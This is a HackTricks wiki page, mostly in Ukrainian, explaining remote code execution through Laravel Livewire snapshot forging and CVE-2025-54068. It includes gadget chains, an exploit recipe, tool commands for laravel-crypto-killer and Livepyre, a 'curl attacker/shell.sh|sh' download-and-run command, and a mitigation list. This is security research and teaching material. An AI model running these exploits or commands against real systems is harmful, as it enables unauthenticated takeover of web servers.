Laravel Livewire Hydration & Synthesizer Abuse

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Короткий огляд машини станів Livewire

Компоненти Livewire 3 обмінюються своїм станом через snapshots, які містять data, memo та checksum. Кожен POST до /livewire/update відновлює JSON snapshot на стороні сервера і виконує поставлені в чергу calls/updates.

class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}

static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}

Будь-хто, хто має APP_KEY (який використовується для отримання $hashKey), може, отже, сфабрикувати довільні знімки, повторно обчисливши HMAC.

Складні властивості кодуються як синтетичні кортежі, що виявляються за допомогою Livewire\Drawer\BaseUtils::isSyntheticTuple(); кожен кортеж має вигляд [value, {"s":"<key>", ...meta}]. Ядро гідратації просто делегує кожен кортеж синтезатору, обраному в HandleComponents::$propertySynthesizers, і рекурсивно обробляє дочірні елементи:

protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}

Ця рекурсивна конструкція робить Livewire загальним механізмом інстанціювання об’єктів, коли атакуючий контролює або метадані tuple, або будь-який вкладений tuple, що обробляється під час рекурсії.

Synthesizers that grant gadget primitives

SynthesizerAttacker-controlled behaviour
CollectionSynth (clctn)Інстанціює new $meta['class']($value) після відновлення кожного дочірнього елемента. Будь-який клас з конструктором, що приймає масив, може бути створений, і кожен елемент може сам бути синтетичним кортежем.
FormObjectSynth (form)Викликає new $meta['class']($component, $path), потім присвоює всі публічні властивості з дочірніх елементів, контрольованих атакуючим, через $hydrateChild. Конструктори, які приймають два слабо типізовані параметри (або мають значення за замовчуванням), достатні, щоб отримати доступ до довільних публічних властивостей.
ModelSynth (mdl)Коли key відсутній у meta, він виконує return new $class;, що дозволяє інстанціювати будь-який клас без аргументів під контролем атакуючого.

Оскільки synths викликають $hydrateChild на кожному вкладеному елементі, довільні графи гаджетів можна побудувати шляхом рекурсивного складання кортежів.

Forging snapshots when APP_KEY is known

  1. Перехопіть легітимний /livewire/update запит і декодуйте components[0].snapshot.
  2. Впровадьте вкладені кортежі, що вказують на класи-гаджети, і перераховуйте checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY).
  3. Повторно кодуйте snapshot, не чіпаючи _token/memo, і повторіть запит.

Мінімальний доказ виконання використовує Guzzle’s FnStream та Flysystem’s ShardedPrefixPublicUrlGenerator. Один кортеж інстанціює FnStream з даними конструктора { "__toString": "phpinfo" }, наступний інстанціює ShardedPrefixPublicUrlGenerator з [FnStreamInstance] як $prefixes. Коли Flysystem приводить кожен префікс до string, PHP викликає переданий атакуючим callable __toString, викликаючи будь-яку функцію без аргументів.

From function calls to full RCE

Використовуючи примітиви інстанціювання Livewire, Synacktiv адаптували ланцюг phpggc Laravel/RCE4, так що гідратація піднімає об’єкт, чиї публічні Queueable-стани запускають десеріалізацію:

  1. Queueable trait – будь-який об’єкт, що використовує Illuminate\Bus\Queueable, має публічну $chained і виконує unserialize(array_shift($this->chained)) у dispatchNextJobInChain().
  2. BroadcastEvent wrapperIlluminate\Broadcasting\BroadcastEvent (ShouldQueue) інстанціюється через CollectionSynth / FormObjectSynth з заповненим публічним $chained.
  3. phpggc Laravel/RCE4Adapted – серіалізований блок у $chained[0] будує PendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed. Signed::__invoke() в кінці викликає call_user_func_array($closure, $args), що дозволяє виконати system($cmd).
  4. Stealth termination – передавши другий callable FnStream, такий як [new Laravel\Prompts\Terminal(), 'exit'], запит завершується викликом exit() замість гучного виключення, зберігаючи HTTP-відповідь чистою.

Automating snapshot forgery

synacktiv/laravel-crypto-killer тепер постачається з режимом livewire, який зшиває все:

./laravel_crypto_killer.py -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"

Інструмент розбирає захоплений snapshot, інжектує gadget tuples, перераховує контрольну суму й виводить готовий до відправки /livewire/update payload.

CVE-2025-54068 – RCE без APP_KEY

updates зливаються в стан компонента після того, як контрольна сума snapshot була перевірена. Якщо властивість всередині snapshot є (або стає) синтетичним кортежем, Livewire повторно використовує її meta під час гідратації значення оновлення, контрольованого атакуючим:

protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}

Exploit recipe:

  1. Знайдіть Livewire компонент з публічною властивістю без типу (наприклад, public $count;).
  2. Надішліть оновлення, яке встановлює цю властивість у []. Наступний snapshot тепер зберігає її як [[], {"s": "arr"}].
  3. Сформуйте інший payload updates, де ця властивість містить глибоко вкладений масив, що вбудовує кортежі на кшталт [ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ].
  4. Під час рекурсії hydrate() оцінює кожну вкладену дитину незалежно, тому обрані атакуючим synth-ключі/класи виконуються, навіть якщо зовнішній кортеж і контрольна сума ніколи не змінювалися.
  5. Повторно використайте ті самі примітиви CollectionSynth/FormObjectSynth для інстанціювання Queueable gadget, у якого $chained[0] містить phpggc payload. Livewire обробляє підроблені updates, викликає dispatchNextJobInChain() і доходить до system(<cmd>) без знання APP_KEY.

Key reasons this works:

  • updates не покриваються контрольною сумою знімка.
  • getMetaForPath() довіряє будь-яким synth-метаданим, що вже існували для тієї властивості, навіть якщо атакуючий раніше примусив її стати кортежем через weak typing.
  • Рекурсія разом із weak typing дозволяє кожному вкладеному масиву інтерпретуватися як новий кортеж, тож довільні synth-ключі й довільні класи врешті досягають hydration.

Livepyre – end-to-end exploitation

Livepyre автоматизує як CVE без APP_KEY, так і шлях зі підписаним snapshot:

  • Визначає відбиток розгорнутої версії Livewire, парсячи <script src="/livewire/livewire.js?id=HASH"> і зіставляючи хеш з уразливими releases.
  • Збирає базові snapshots, відтворюючи benign дії і витягуючи components[].snapshot.
  • Генерує або payload тільки для updates (CVE-2025-54068), або підроблений snapshot (відомий APP_KEY), що вбудовує phpggc chain.

Типове використання:

# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id

# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"

-c/--check запускає недеструктивну перевірку, -F пропускає перевірку версій, -H і -P додають користувацькі заголовки або проксі, а --function/--param налаштовують php-функцію, яку викликає gadget chain.

Заходи захисту

  • Оновіть до виправлених збірок Livewire (>= 3.6.4 згідно з повідомленням вендора) і застосуйте патч від вендора для CVE-2025-54068.
  • Уникайте слабко типізованих public properties у Livewire components; явні scalar types перешкоджають приведенню значень властивостей до arrays/tuples.
  • Реєструйте лише ті synthesizers, які вам справді потрібні, і вважаєте метадані під контролем користувача ($meta['class']) ненадійними.
  • Відхиляйте оновлення, які змінюють JSON-тип властивості (наприклад, scalar -> array), якщо це явно не дозволено, і переобчислюйте synth metadata замість повторного використання застарілих tuples.
  • Негайно змінюйте APP_KEY після будь-якого розкриття, оскільки він дозволяє offline snapshot forging незалежно від того, наскільки запатчена кодова база.

References

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks